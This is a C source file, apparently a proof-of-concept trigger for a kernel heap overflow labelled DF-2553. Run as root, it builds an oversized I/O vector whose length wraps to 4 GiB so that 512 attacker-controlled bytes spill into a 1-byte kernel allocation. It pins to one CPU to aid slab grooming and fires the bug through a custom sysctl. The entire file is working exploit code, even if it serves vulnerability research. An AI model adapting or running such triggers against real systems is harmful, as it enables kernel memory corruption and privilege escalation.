DF-2553 / df2553_trigger.c
/* * df2553_trigger.c -- DF-2553 userland trigger (run as root on the guest). * * Builds the userspace side of the fabricated uio: * mode 0: iov0 = 256 pattern bytes (control) * mode 1: iov0 = 512 pattern bytes + iov1 = (4GiB - 512) at a * PROT_NONE page -> uio_resid = 0x100000000 * mode 2: allocation-boundary negative control payload * * The 512 committed bytes are the attacker-controlled content that the * kernel copies into the 1-byte sbuf allocation. * * Pin to CPU 0 first (usched_set, syscall 481) so the kernel-side slab * grooming sees a single per-CPU allocator state. */ #include <sys/types.h> #include <sys/mman.h> #include <sys/sysctl.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct df2553_req { uint64_t base0, len0; uint64_t base1, len1; uint32_t mode, pad; }; #define PAT "DF2553PWN" int main(int argc, char **argv) { struct df2553_req r; unsigned long mode = argc > 1 ? strtoul(argv[1], NULL, 0) : 1; char *buf0, *guard; size_t i; int cpu0 = 0; /* usched_set(0, USCHED_SET_CPU=1, &cpu, sizeof(int)) -- syscall 481 */ if (syscall(481, 0, 1, &cpu0, sizeof(cpu0)) != 0) fprintf(stderr, "usched_set: %s (continuing unpinned)\n", strerror(errno)); memset(&r, 0, sizeof(r)); r.mode = (uint32_t)mode; buf0 = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (buf0 == MAP_FAILED) { perror("mmap buf0"); return (1); } guard = mmap(NULL, 4096, PROT_NONE, MAP_ANON | MAP_PRIVATE, -1, 0); if (guard == MAP_FAILED) { perror("mmap guard"); return (1); } if (mode == 1) { for (i = 0; i < 512; ++i) buf0[i] = PAT[i % 9]; r.base0 = (uint64_t)(uintptr_t)buf0; r.len0 = 512; r.base1 = (uint64_t)(uintptr_t)guard; /* faults instantly */ r.len1 = 0x100000000ULL - 512; } else if (mode == 0) { for (i = 0; i < 256; ++i) buf0[i] = PAT[i % 9]; r.base0 = (uint64_t)(uintptr_t)buf0; r.len0 = 256; r.base1 = 0; r.len1 = 0; } else { r.base0 = (uint64_t)(uintptr_t)buf0; r.len0 = 0; r.base1 = (uint64_t)(uintptr_t)guard; r.len1 = 0; } printf("trigger: mode=%lu uio_resid=%llu (0x%llx) " "len0=%llu len1=%llu\n", mode, (unsigned long long)(r.len0 + r.len1), (unsigned long long)(r.len0 + r.len1), (unsigned long long)r.len0, (unsigned long long)r.len1); if (sysctlbyname("kern.df2553_trigger", NULL, NULL, &r, sizeof(r)) < 0) { perror("sysctlbyname kern.df2553_trigger"); return (1); } printf("trigger: sysctl accepted; see dmesg for DF2553 lines\n"); return (0); } |